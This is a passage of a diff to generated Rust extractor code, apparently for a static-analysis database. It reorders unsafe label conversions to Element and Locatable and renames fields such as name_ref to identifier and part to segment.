+impl From<trap::Label<AsmOption>> for trap::Label<Locatable> {
     fn from(value: trap::Label<AsmOption>) -> Self {
-        // SAFETY: this is safe because in the dbscheme AsmOption is a subclass of Element
+        // SAFETY: this is safe because in the dbscheme AsmOption is a subclass of Locatable
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
     }
 }
 
-impl From<trap::Label<AsmOption>> for trap::Label<Locatable> {
+impl From<trap::Label<AsmOption>> for trap::Label<Element> {
     fn from(value: trap::Label<AsmOption>) -> Self {
-        // SAFETY: this is safe because in the dbscheme AsmOption is a subclass of Locatable
+        // SAFETY: this is safe because in the dbscheme AsmOption is a subclass of Element
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
@@ -542,18 +629,18 @@ impl From<trap::Label<AsmPiece>> for trap::Label<AstNode> {
     }
 }
 
-impl From<trap::Label<AsmPiece>> for trap::Label<Element> {
+impl From<trap::Label<AsmPiece>> for trap::Label<Locatable> {
     fn from(value: trap::Label<AsmPiece>) -> Self {
-        // SAFETY: this is safe because in the dbscheme AsmPiece is a subclass of Element
+        // SAFETY: this is safe because in the dbscheme AsmPiece is a subclass of Locatable
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
     }
 }
 
-impl From<trap::Label<AsmPiece>> for trap::Label<Locatable> {
+impl From<trap::Label<AsmPiece>> for trap::Label<Element> {
     fn from(value: trap::Label<AsmPiece>) -> Self {
-        // SAFETY: this is safe because in the dbscheme AsmPiece is a subclass of Locatable
+        // SAFETY: this is safe because in the dbscheme AsmPiece is a subclass of Element
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
@@ -563,7 +650,7 @@ impl From<trap::Label<AsmPiece>> for trap::Label<Locatable> {
 #[derive(Debug)]
 pub struct AsmRegSpec {
     pub id: trap::TrapId<AsmRegSpec>,
-    pub name_ref: Option<trap::Label<NameRef>>,
+    pub identifier: Option<trap::Label<NameRef>>,
 }
 
 impl trap::TrapEntry for AsmRegSpec {
@@ -573,8 +660,8 @@ impl trap::TrapEntry for AsmRegSpec {
 
     fn emit(self, id: trap::Label<Self>, out: &mut trap::Writer) {
         out.add_tuple("asm_reg_specs", vec![id.into()]);
-        if let Some(v) = self.name_ref {
-            out.add_tuple("asm_reg_spec_name_refs", vec![id.into(), v.into()]);
+        if let Some(v) = self.identifier {
+            out.add_tuple("asm_reg_spec_identifiers", vec![id.into(), v.into()]);
         }
     }
 }
@@ -592,18 +679,18 @@ impl From<trap::Label<AsmRegSpec>> for trap::Label<AstNode> {
     }
 }
 
-impl From<trap::Label<AsmRegSpec>> for trap::Label<Element> {
+impl From<trap::Label<AsmRegSpec>> for trap::Label<Locatable> {
     fn from(value: trap::Label<AsmRegSpec>) -> Self {
-        // SAFETY: this is safe because in the dbscheme AsmRegSpec is a subclass of Element
+        // SAFETY: this is safe because in the dbscheme AsmRegSpec is a subclass of Locatable
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
     }
 }
 
-impl From<trap::Label<AsmRegSpec>> for trap::Label<Locatable> {
+impl From<trap::Label<AsmRegSpec>> for trap::Label<Element> {
     fn from(value: trap::Label<AsmRegSpec>) -> Self {
-        // SAFETY: this is safe because in the dbscheme AsmRegSpec is a subclass of Locatable
+        // SAFETY: this is safe because in the dbscheme AsmRegSpec is a subclass of Element
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
@@ -628,18 +715,18 @@ impl From<trap::Label<AssocItem>> for trap::Label<AstNode> {
     }
 }
 
-impl From<trap::Label<AssocItem>> for trap::Label<Element> {
+impl From<trap::Label<AssocItem>> for trap::Label<Locatable> {
     fn from(value: trap::Label<AssocItem>) -> Self {
-        // SAFETY: this is safe because in the dbscheme AssocItem is a subclass of Element
+        // SAFETY: this is safe because in the dbscheme AssocItem is a subclass of Locatable
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
     }
 }
 
-impl From<trap::Label<AssocItem>> for trap::Label<Locatable> {
+impl From<trap::Label<AssocItem>> for trap::Label<Element> {
     fn from(value: trap::Label<AssocItem>) -> Self {
-        // SAFETY: this is safe because in the dbscheme AssocItem is a subclass of Locatable
+        // SAFETY: this is safe because in the dbscheme AssocItem is a subclass of Element
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
@@ -682,18 +769,18 @@ impl From<trap::Label<AssocItemList>> for trap::Label<AstNode> {
     }
 }
 
-impl From<trap::Label<AssocItemList>> for trap::Label<Element> {
+impl From<trap::Label<AssocItemList>> for trap::Label<Locatable> {
     fn from(value: trap::Label<AssocItemList>) -> Self {
-        // SAFETY: this is safe because in the dbscheme AssocItemList is a subclass of Element
+        // SAFETY: this is safe because in the dbscheme AssocItemList is a subclass of Locatable
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
     }
 }
 
-impl From<trap::Label<AssocItemList>> for trap::Label<Locatable> {
+impl From<trap::Label<AssocItemList>> for trap::Label<Element> {
     fn from(value: trap::Label<AssocItemList>) -> Self {
-        // SAFETY: this is safe because in the dbscheme AssocItemList is a subclass of Locatable
+        // SAFETY: this is safe because in the dbscheme AssocItemList is a subclass of Element
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
@@ -732,18 +819,18 @@ impl From<trap::Label<Attr>> for trap::Label<AstNode> {
     }
 }
 
-impl From<trap::Label<Attr>> for trap::Label<Element> {
+impl From<trap::Label<Attr>> for trap::Label<Locatable> {
     fn from(value: trap::Label<Attr>) -> Self {
-        // SAFETY: this is safe because in the dbscheme Attr is a subclass of Element
+        // SAFETY: this is safe because in the dbscheme Attr is a subclass of Locatable
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
     }
 }
 
-impl From<trap::Label<Attr>> for trap::Label<Locatable> {
+impl From<trap::Label<Attr>> for trap::Label<Element> {
     fn from(value: trap::Label<Attr>) -> Self {
-        // SAFETY: this is safe because in the dbscheme Attr is a subclass of Locatable
+        // SAFETY: this is safe because in the dbscheme Attr is a subclass of Element
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
@@ -768,18 +855,18 @@ impl From<trap::Label<Callable>> for trap::Label<AstNode> {
     }
 }
 
-impl From<trap::Label<Callable>> for trap::Label<Element> {
+impl From<trap::Label<Callable>> for trap::Label<Locatable> {
     fn from(value: trap::Label<Callable>) -> Self {
-        // SAFETY: this is safe because in the dbscheme Callable is a subclass of Element
+        // SAFETY: this is safe because in the dbscheme Callable is a subclass of Locatable
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
     }
 }
 
-impl From<trap::Label<Callable>> for trap::Label<Locatable> {
+impl From<trap::Label<Callable>> for trap::Label<Element> {
     fn from(value: trap::Label<Callable>) -> Self {
-        // SAFETY: this is safe because in the dbscheme Callable is a subclass of Locatable
+        // SAFETY: this is safe because in the dbscheme Callable is a subclass of Element
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
@@ -818,18 +905,18 @@ impl From<trap::Label<ClosureBinder>> for trap::Label<AstNode> {
     }
 }
 
-impl From<trap::Label<ClosureBinder>> for trap::Label<Element> {
+impl From<trap::Label<ClosureBinder>> for trap::Label<Locatable> {
     fn from(value: trap::Label<ClosureBinder>) -> Self {
-        // SAFETY: this is safe because in the dbscheme ClosureBinder is a subclass of Element
+        // SAFETY: this is safe because in the dbscheme ClosureBinder is a subclass of Locatable
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
     }
 }
 
-impl From<trap::Label<ClosureBinder>> for trap::Label<Locatable> {
+impl From<trap::Label<ClosureBinder>> for trap::Label<Element> {
     fn from(value: trap::Label<ClosureBinder>) -> Self {
-        // SAFETY: this is safe because in the dbscheme ClosureBinder is a subclass of Locatable
+        // SAFETY: this is safe because in the dbscheme ClosureBinder is a subclass of Element
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
@@ -854,18 +941,18 @@ impl From<trap::Label<Expr>> for trap::Label<AstNode> {
     }
 }
 
-impl From<trap::Label<Expr>> for trap::Label<Element> {
+impl From<trap::Label<Expr>> for trap::Label<Locatable> {
     fn from(value: trap::Label<Expr>) -> Self {
-        // SAFETY: this is safe because in the dbscheme Expr is a subclass of Element
+        // SAFETY: this is safe because in the dbscheme Expr is a subclass of Locatable
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
     }
 }
 
-impl From<trap::Label<Expr>> for trap::Label<Locatable> {
+impl From<trap::Label<Expr>> for trap::Label<Element> {
     fn from(value: trap::Label<Expr>) -> Self {
-        // SAFETY: this is safe because in the dbscheme Expr is a subclass of Locatable
+        // SAFETY: this is safe because in the dbscheme Expr is a subclass of Element
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
@@ -890,18 +977,18 @@ impl From<trap::Label<ExternItem>> for trap::Label<AstNode> {
     }
 }
 
-impl From<trap::Label<ExternItem>> for trap::Label<Element> {
+impl From<trap::Label<ExternItem>> for trap::Label<Locatable> {
     fn from(value: trap::Label<ExternItem>) -> Self {
-        // SAFETY: this is safe because in the dbscheme ExternItem is a subclass of Element
+        // SAFETY: this is safe because in the dbscheme ExternItem is a subclass of Locatable
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
     }
 }
 
-impl From<trap::Label<ExternItem>> for trap::Label<Locatable> {
+impl From<trap::Label<ExternItem>> for trap::Label<Element> {
     fn from(value: trap::Label<ExternItem>) -> Self {
-        // SAFETY: this is safe because in the dbscheme ExternItem is a subclass of Locatable
+        // SAFETY: this is safe because in the dbscheme ExternItem is a subclass of Element
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
@@ -944,18 +1031,18 @@ impl From<trap::Label<ExternItemList>> for trap::Label<AstNode> {
     }
 }
 
-impl From<trap::Label<ExternItemList>> for trap::Label<Element> {
+impl From<trap::Label<ExternItemList>> for trap::Label<Locatable> {
     fn from(value: trap::Label<ExternItemList>) -> Self {
-        // SAFETY: this is safe because in the dbscheme ExternItemList is a subclass of Element
+        // SAFETY: this is safe because in the dbscheme ExternItemList is a subclass of Locatable
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
     }
 }
 
-impl From<trap::Label<ExternItemList>> for trap::Label<Locatable> {
+impl From<trap::Label<ExternItemList>> for trap::Label<Element> {
     fn from(value: trap::Label<ExternItemList>) -> Self {
-        // SAFETY: this is safe because in the dbscheme ExternItemList is a subclass of Locatable
+        // SAFETY: this is safe because in the dbscheme ExternItemList is a subclass of Element
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
@@ -980,18 +1067,18 @@ impl From<trap::Label<FieldList>> for trap::Label<AstNode> {
     }
 }
 
-impl From<trap::Label<FieldList>> for trap::Label<Element> {
+impl From<trap::Label<FieldList>> for trap::Label<Locatable> {
     fn from(value: trap::Label<FieldList>) -> Self {
-        // SAFETY: this is safe because in the dbscheme FieldList is a subclass of Element
+        // SAFETY: this is safe because in the dbscheme FieldList is a subclass of Locatable
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
     }
 }
 
-impl From<trap::Label<FieldList>> for trap::Label<Locatable> {
+impl From<trap::Label<FieldList>> for trap::Label<Element> {
     fn from(value: trap::Label<FieldList>) -> Self {
-        // SAFETY: this is safe because in the dbscheme FieldList is a subclass of Locatable
+        // SAFETY: this is safe because in the dbscheme FieldList is a subclass of Element
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
@@ -1034,18 +1121,18 @@ impl From<trap::Label<FormatArgsArg>> for trap::Label<AstNode> {
     }
 }
 
-impl From<trap::Label<FormatArgsArg>> for trap::Label<Element> {
+impl From<trap::Label<FormatArgsArg>> for trap::Label<Locatable> {
     fn from(value: trap::Label<FormatArgsArg>) -> Self {
-        // SAFETY: this is safe because in the dbscheme FormatArgsArg is a subclass of Element
+        // SAFETY: this is safe because in the dbscheme FormatArgsArg is a subclass of Locatable
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
     }
 }
 
-impl From<trap::Label<FormatArgsArg>> for trap::Label<Locatable> {
+impl From<trap::Label<FormatArgsArg>> for trap::Label<Element> {
     fn from(value: trap::Label<FormatArgsArg>) -> Self {
-        // SAFETY: this is safe because in the dbscheme FormatArgsArg is a subclass of Locatable
+        // SAFETY: this is safe because in the dbscheme FormatArgsArg is a subclass of Element
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
@@ -1070,18 +1157,18 @@ impl From<trap::Label<GenericArg>> for trap::Label<AstNode> {
     }
 }
 
-impl From<trap::Label<GenericArg>> for trap::Label<Element> {
+impl From<trap::Label<GenericArg>> for trap::Label<Locatable> {
     fn from(value: trap::Label<GenericArg>) -> Self {
-        // SAFETY: this is safe because in the dbscheme GenericArg is a subclass of Element
+        // SAFETY: this is safe because in the dbscheme GenericArg is a subclass of Locatable
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
     }
 }
 
-impl From<trap::Label<GenericArg>> for trap::Label<Locatable> {
+impl From<trap::Label<GenericArg>> for trap::Label<Element> {
     fn from(value: trap::Label<GenericArg>) -> Self {
-        // SAFETY: this is safe because in the dbscheme GenericArg is a subclass of Locatable
+        // SAFETY: this is safe because in the dbscheme GenericArg is a subclass of Element
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
@@ -1120,18 +1207,18 @@ impl From<trap::Label<GenericArgList>> for trap::Label<AstNode> {
     }
 }
 
-impl From<trap::Label<GenericArgList>> for trap::Label<Element> {
+impl From<trap::Label<GenericArgList>> for trap::Label<Locatable> {
     fn from(value: trap::Label<GenericArgList>) -> Self {
-        // SAFETY: this is safe because in the dbscheme GenericArgList is a subclass of Element
+        // SAFETY: this is safe because in the dbscheme GenericArgList is a subclass of Locatable
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
     }
 }
 
-impl From<trap::Label<GenericArgList>> for trap::Label<Locatable> {
+impl From<trap::Label<GenericArgList>> for trap::Label<Element> {
     fn from(value: trap::Label<GenericArgList>) -> Self {
-        // SAFETY: this is safe because in the dbscheme GenericArgList is a subclass of Locatable
+        // SAFETY: this is safe because in the dbscheme GenericArgList is a subclass of Element
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
@@ -1156,18 +1243,18 @@ impl From<trap::Label<GenericParam>> for trap::Label<AstNode> {
     }
 }
 
-impl From<trap::Label<GenericParam>> for trap::Label<Element> {
+impl From<trap::Label<GenericParam>> for trap::Label<Locatable> {
     fn from(value: trap::Label<GenericParam>) -> Self {
-        // SAFETY: this is safe because in the dbscheme GenericParam is a subclass of Element
+        // SAFETY: this is safe because in the dbscheme GenericParam is a subclass of Locatable
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
     }
 }
 
-impl From<trap::Label<GenericParam>> for trap::Label<Locatable> {
+impl From<trap::Label<GenericParam>> for trap::Label<Element> {
     fn from(value: trap::Label<GenericParam>) -> Self {
-        // SAFETY: this is safe because in the dbscheme GenericParam is a subclass of Locatable
+        // SAFETY: this is safe because in the dbscheme GenericParam is a subclass of Element
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
@@ -1206,18 +1293,18 @@ impl From<trap::Label<GenericParamList>> for trap::Label<AstNode> {
     }
 }
 
-impl From<trap::Label<GenericParamList>> for trap::Label<Element> {
+impl From<trap::Label<GenericParamList>> for trap::Label<Locatable> {
     fn from(value: trap::Label<GenericParamList>) -> Self {
-        // SAFETY: this is safe because in the dbscheme GenericParamList is a subclass of Element
+        // SAFETY: this is safe because in the dbscheme GenericParamList is a subclass of Locatable
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
     }
 }
 
-impl From<trap::Label<GenericParamList>> for trap::Label<Locatable> {
+impl From<trap::Label<GenericParamList>> for trap::Label<Element> {
     fn from(value: trap::Label<GenericParamList>) -> Self {
-        // SAFETY: this is safe because in the dbscheme GenericParamList is a subclass of Locatable
+        // SAFETY: this is safe because in the dbscheme GenericParamList is a subclass of Element
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
@@ -1260,18 +1347,18 @@ impl From<trap::Label<ItemList>> for trap::Label<AstNode> {
     }
 }
 
-impl From<trap::Label<ItemList>> for trap::Label<Element> {
+impl From<trap::Label<ItemList>> for trap::Label<Locatable> {
     fn from(value: trap::Label<ItemList>) -> Self {
-        // SAFETY: this is safe because in the dbscheme ItemList is a subclass of Element
+        // SAFETY: this is safe because in the dbscheme ItemList is a subclass of Locatable
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
     }
 }
 
-impl From<trap::Label<ItemList>> for trap::Label<Locatable> {
+impl From<trap::Label<ItemList>> for trap::Label<Element> {
     fn from(value: trap::Label<ItemList>) -> Self {
-        // SAFETY: this is safe because in the dbscheme ItemList is a subclass of Locatable
+        // SAFETY: this is safe because in the dbscheme ItemList is a subclass of Element
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
@@ -1310,18 +1397,18 @@ impl From<trap::Label<Label>> for trap::Label<AstNode> {
     }
 }
 
-impl From<trap::Label<Label>> for trap::Label<Element> {
+impl From<trap::Label<Label>> for trap::Label<Locatable> {
     fn from(value: trap::Label<Label>) -> Self {
-        // SAFETY: this is safe because in the dbscheme Label is a subclass of Element
+        // SAFETY: this is safe because in the dbscheme Label is a subclass of Locatable
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
     }
 }
 
-impl From<trap::Label<Label>> for trap::Label<Locatable> {
+impl From<trap::Label<Label>> for trap::Label<Element> {
     fn from(value: trap::Label<Label>) -> Self {
-        // SAFETY: this is safe because in the dbscheme Label is a subclass of Locatable
+        // SAFETY: this is safe because in the dbscheme Label is a subclass of Element
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
@@ -1360,18 +1447,18 @@ impl From<trap::Label<LetElse>> for trap::Label<AstNode> {
     }
 }
 
-impl From<trap::Label<LetElse>> for trap::Label<Element> {
+impl From<trap::Label<LetElse>> for trap::Label<Locatable> {
     fn from(value: trap::Label<LetElse>) -> Self {
-        // SAFETY: this is safe because in the dbscheme LetElse is a subclass of Element
+        // SAFETY: this is safe because in the dbscheme LetElse is a subclass of Locatable
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
     }
 }
 
-impl From<trap::Label<LetElse>> for trap::Label<Locatable> {
+impl From<trap::Label<LetElse>> for trap::Label<Element> {
     fn from(value: trap::Label<LetElse>) -> Self {
-        // SAFETY: this is safe because in the dbscheme LetElse is a subclass of Locatable
+        // SAFETY: this is safe because in the dbscheme LetElse is a subclass of Element
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
@@ -1410,18 +1497,18 @@ impl From<trap::Label<MacroItems>> for trap::Label<AstNode> {
     }
 }
 
-impl From<trap::Label<MacroItems>> for trap::Label<Element> {
+impl From<trap::Label<MacroItems>> for trap::Label<Locatable> {
     fn from(value: trap::Label<MacroItems>) -> Self {
-        // SAFETY: this is safe because in the dbscheme MacroItems is a subclass of Element
+        // SAFETY: this is safe because in the dbscheme MacroItems is a subclass of Locatable
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
     }
 }
 
-impl From<trap::Label<MacroItems>> for trap::Label<Locatable> {
+impl From<trap::Label<MacroItems>> for trap::Label<Element> {
     fn from(value: trap::Label<MacroItems>) -> Self {
-        // SAFETY: this is safe because in the dbscheme MacroItems is a subclass of Locatable
+        // SAFETY: this is safe because in the dbscheme MacroItems is a subclass of Element
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
@@ -1464,18 +1551,18 @@ impl From<trap::Label<MacroStmts>> for trap::Label<AstNode> {
     }
 }
 
-impl From<trap::Label<MacroStmts>> for trap::Label<Element> {
+impl From<trap::Label<MacroStmts>> for trap::Label<Locatable> {
     fn from(value: trap::Label<MacroStmts>) -> Self {
-        // SAFETY: this is safe because in the dbscheme MacroStmts is a subclass of Element
+        // SAFETY: this is safe because in the dbscheme MacroStmts is a subclass of Locatable
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
     }
 }
 
-impl From<trap::Label<MacroStmts>> for trap::Label<Locatable> {
+impl From<trap::Label<MacroStmts>> for trap::Label<Element> {
     fn from(value: trap::Label<MacroStmts>) -> Self {
-        // SAFETY: this is safe because in the dbscheme MacroStmts is a subclass of Locatable
+        // SAFETY: this is safe because in the dbscheme MacroStmts is a subclass of Element
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
@@ -1526,18 +1613,18 @@ impl From<trap::Label<MatchArm>> for trap::Label<AstNode> {
     }
 }
 
-impl From<trap::Label<MatchArm>> for trap::Label<Element> {
+impl From<trap::Label<MatchArm>> for trap::Label<Locatable> {
     fn from(value: trap::Label<MatchArm>) -> Self {
-        // SAFETY: this is safe because in the dbscheme MatchArm is a subclass of Element
+        // SAFETY: this is safe because in the dbscheme MatchArm is a subclass of Locatable
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
     }
 }
 
-impl From<trap::Label<MatchArm>> for trap::Label<Locatable> {
+impl From<trap::Label<MatchArm>> for trap::Label<Element> {
     fn from(value: trap::Label<MatchArm>) -> Self {
-        // SAFETY: this is safe because in the dbscheme MatchArm is a subclass of Locatable
+        // SAFETY: this is safe because in the dbscheme MatchArm is a subclass of Element
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
@@ -1580,18 +1667,18 @@ impl From<trap::Label<MatchArmList>> for trap::Label<AstNode> {
     }
 }
 
-impl From<trap::Label<MatchArmList>> for trap::Label<Element> {
+impl From<trap::Label<MatchArmList>> for trap::Label<Locatable> {
     fn from(value: trap::Label<MatchArmList>) -> Self {
-        // SAFETY: this is safe because in the dbscheme MatchArmList is a subclass of Element
+        // SAFETY: this is safe because in the dbscheme MatchArmList is a subclass of Locatable
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
     }
 }
 
-impl From<trap::Label<MatchArmList>> for trap::Label<Locatable> {
+impl From<trap::Label<MatchArmList>> for trap::Label<Element> {
     fn from(value: trap::Label<MatchArmList>) -> Self {
-        // SAFETY: this is safe because in the dbscheme MatchArmList is a subclass of Locatable
+        // SAFETY: this is safe because in the dbscheme MatchArmList is a subclass of Element
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
@@ -1630,18 +1717,18 @@ impl From<trap::Label<MatchGuard>> for trap::Label<AstNode> {
     }
 }
 
-impl From<trap::Label<MatchGuard>> for trap::Label<Element> {
+impl From<trap::Label<MatchGuard>> for trap::Label<Locatable> {
     fn from(value: trap::Label<MatchGuard>) -> Self {
-        // SAFETY: this is safe because in the dbscheme MatchGuard is a subclass of Element
+        // SAFETY: this is safe because in the dbscheme MatchGuard is a subclass of Locatable
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
     }
 }
 
-impl From<trap::Label<MatchGuard>> for trap::Label<Locatable> {
+impl From<trap::Label<MatchGuard>> for trap::Label<Element> {
     fn from(value: trap::Label<MatchGuard>) -> Self {
-        // SAFETY: this is safe because in the dbscheme MatchGuard is a subclass of Locatable
+        // SAFETY: this is safe because in the dbscheme MatchGuard is a subclass of Element
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
@@ -1692,18 +1779,18 @@ impl From<trap::Label<Meta>> for trap::Label<AstNode> {
     }
 }
 
-impl From<trap::Label<Meta>> for trap::Label<Element> {
+impl From<trap::Label<Meta>> for trap::Label<Locatable> {
     fn from(value: trap::Label<Meta>) -> Self {
-        // SAFETY: this is safe because in the dbscheme Meta is a subclass of Element
+        // SAFETY: this is safe because in the dbscheme Meta is a subclass of Locatable
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
     }
 }
 
-impl From<trap::Label<Meta>> for trap::Label<Locatable> {
+impl From<trap::Label<Meta>> for trap::Label<Element> {
     fn from(value: trap::Label<Meta>) -> Self {
-        // SAFETY: this is safe because in the dbscheme Meta is a subclass of Locatable
+        // SAFETY: this is safe because in the dbscheme Meta is a subclass of Element
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
@@ -1742,18 +1829,18 @@ impl From<trap::Label<Name>> for trap::Label<AstNode> {
     }
 }
 
-impl From<trap::Label<Name>> for trap::Label<Element> {
+impl From<trap::Label<Name>> for trap::Label<Locatable> {
     fn from(value: trap::Label<Name>) -> Self {
-        // SAFETY: this is safe because in the dbscheme Name is a subclass of Element
+        // SAFETY: this is safe because in the dbscheme Name is a subclass of Locatable
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
     }
 }
 
-impl From<trap::Label<Name>> for trap::Label<Locatable> {
+impl From<trap::Label<Name>> for trap::Label<Element> {
     fn from(value: trap::Label<Name>) -> Self {
-        // SAFETY: this is safe because in the dbscheme Name is a subclass of Locatable
+        // SAFETY: this is safe because in the dbscheme Name is a subclass of Element
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
@@ -1778,18 +1865,18 @@ impl From<trap::Label<ParamBase>> for trap::Label<AstNode> {
     }
 }
 
-impl From<trap::Label<ParamBase>> for trap::Label<Element> {
+impl From<trap::Label<ParamBase>> for trap::Label<Locatable> {
     fn from(value: trap::Label<ParamBase>) -> Self {
-        // SAFETY: this is safe because in the dbscheme ParamBase is a subclass of Element
+        // SAFETY: this is safe because in the dbscheme ParamBase is a subclass of Locatable
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
     }
 }
 
-impl From<trap::Label<ParamBase>> for trap::Label<Locatable> {
+impl From<trap::Label<ParamBase>> for trap::Label<Element> {
     fn from(value: trap::Label<ParamBase>) -> Self {
-        // SAFETY: this is safe because in the dbscheme ParamBase is a subclass of Locatable
+        // SAFETY: this is safe because in the dbscheme ParamBase is a subclass of Element
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
@@ -1832,18 +1919,18 @@ impl From<trap::Label<ParamList>> for trap::Label<AstNode> {
     }
 }
 
-impl From<trap::Label<ParamList>> for trap::Label<Element> {
+impl From<trap::Label<ParamList>> for trap::Label<Locatable> {
     fn from(value: trap::Label<ParamList>) -> Self {
-        // SAFETY: this is safe because in the dbscheme ParamList is a subclass of Element
+        // SAFETY: this is safe because in the dbscheme ParamList is a subclass of Locatable
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
     }
 }
 
-impl From<trap::Label<ParamList>> for trap::Label<Locatable> {
+impl From<trap::Label<ParamList>> for trap::Label<Element> {
     fn from(value: trap::Label<ParamList>) -> Self {
-        // SAFETY: this is safe because in the dbscheme ParamList is a subclass of Locatable
+        // SAFETY: this is safe because in the dbscheme ParamList is a subclass of Element
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
@@ -1882,18 +1969,18 @@ impl From<trap::Label<ParenthesizedArgList>> for trap::Label<AstNode> {
     }
 }
 
-impl From<trap::Label<ParenthesizedArgList>> for trap::Label<Element> {
+impl From<trap::Label<ParenthesizedArgList>> for trap::Label<Locatable> {
     fn from(value: trap::Label<ParenthesizedArgList>) -> Self {
-        // SAFETY: this is safe because in the dbscheme ParenthesizedArgList is a subclass of Element
+        // SAFETY: this is safe because in the dbscheme ParenthesizedArgList is a subclass of Locatable
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
     }
 }
 
-impl From<trap::Label<ParenthesizedArgList>> for trap::Label<Locatable> {
+impl From<trap::Label<ParenthesizedArgList>> for trap::Label<Element> {
     fn from(value: trap::Label<ParenthesizedArgList>) -> Self {
-        // SAFETY: this is safe because in the dbscheme ParenthesizedArgList is a subclass of Locatable
+        // SAFETY: this is safe because in the dbscheme ParenthesizedArgList is a subclass of Element
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
@@ -1918,18 +2005,18 @@ impl From<trap::Label<Pat>> for trap::Label<AstNode> {
     }
 }
 
-impl From<trap::Label<Pat>> for trap::Label<Element> {
+impl From<trap::Label<Pat>> for trap::Label<Locatable> {
     fn from(value: trap::Label<Pat>) -> Self {
-        // SAFETY: this is safe because in the dbscheme Pat is a subclass of Element
+        // SAFETY: this is safe because in the dbscheme Pat is a subclass of Locatable
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
     }
 }
 
-impl From<trap::Label<Pat>> for trap::Label<Locatable> {
+impl From<trap::Label<Pat>> for trap::Label<Element> {
     fn from(value: trap::Label<Pat>) -> Self {
-        // SAFETY: this is safe because in the dbscheme Pat is a subclass of Locatable
+        // SAFETY: this is safe because in the dbscheme Pat is a subclass of Element
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
@@ -1940,7 +2027,7 @@ impl From<trap::Label<Pat>> for trap::Label<Locatable> {
 pub struct Path {
     pub id: trap::TrapId<Path>,
     pub qualifier: Option<trap::Label<Path>>,
-    pub part: Option<trap::Label<PathSegment>>,
+    pub segment: Option<trap::Label<PathSegment>>,
 }
 
 impl trap::TrapEntry for Path {
@@ -1953,8 +2040,8 @@ impl trap::TrapEntry for Path {
         if let Some(v) = self.qualifier {
             out.add_tuple("path_qualifiers", vec![id.into(), v.into()]);
         }
-        if let Some(v) = self.part {
-            out.add_tuple("path_parts", vec![id.into(), v.into()]);
+        if let Some(v) = self.segment {
+            out.add_tuple("path_segments_", vec![id.into(), v.into()]);
         }
     }
 }
@@ -1972,18 +2059,18 @@ impl From<trap::Label<Path>> for trap::Label<AstNode> {
     }
 }
 
-impl From<trap::Label<Path>> for trap::Label<Element> {
+impl From<trap::Label<Path>> for trap::Label<Locatable> {
     fn from(value: trap::Label<Path>) -> Self {
-        // SAFETY: this is safe because in the dbscheme Path is a subclass of Element
+        // SAFETY: this is safe because in the dbscheme Path is a subclass of Locatable
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
     }
 }
 
-impl From<trap::Label<Path>> for trap::Label<Locatable> {
+impl From<trap::Label<Path>> for trap::Label<Element> {
     fn from(value: trap::Label<Path>) -> Self {
-        // SAFETY: this is safe because in the dbscheme Path is a subclass of Locatable
+        // SAFETY: this is safe because in the dbscheme Path is a subclass of Element
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
@@ -1994,7 +2081,7 @@ impl From<trap::Label<Path>> for trap::Label<Locatable> {
 pub struct PathSegment {
     pub id: trap::TrapId<PathSegment>,
     pub generic_arg_list: Option<trap::Label<GenericArgList>>,
-    pub name_ref: Option<trap::Label<NameRef>>,
+    pub identifier: Option<trap::Label<NameRef>>,
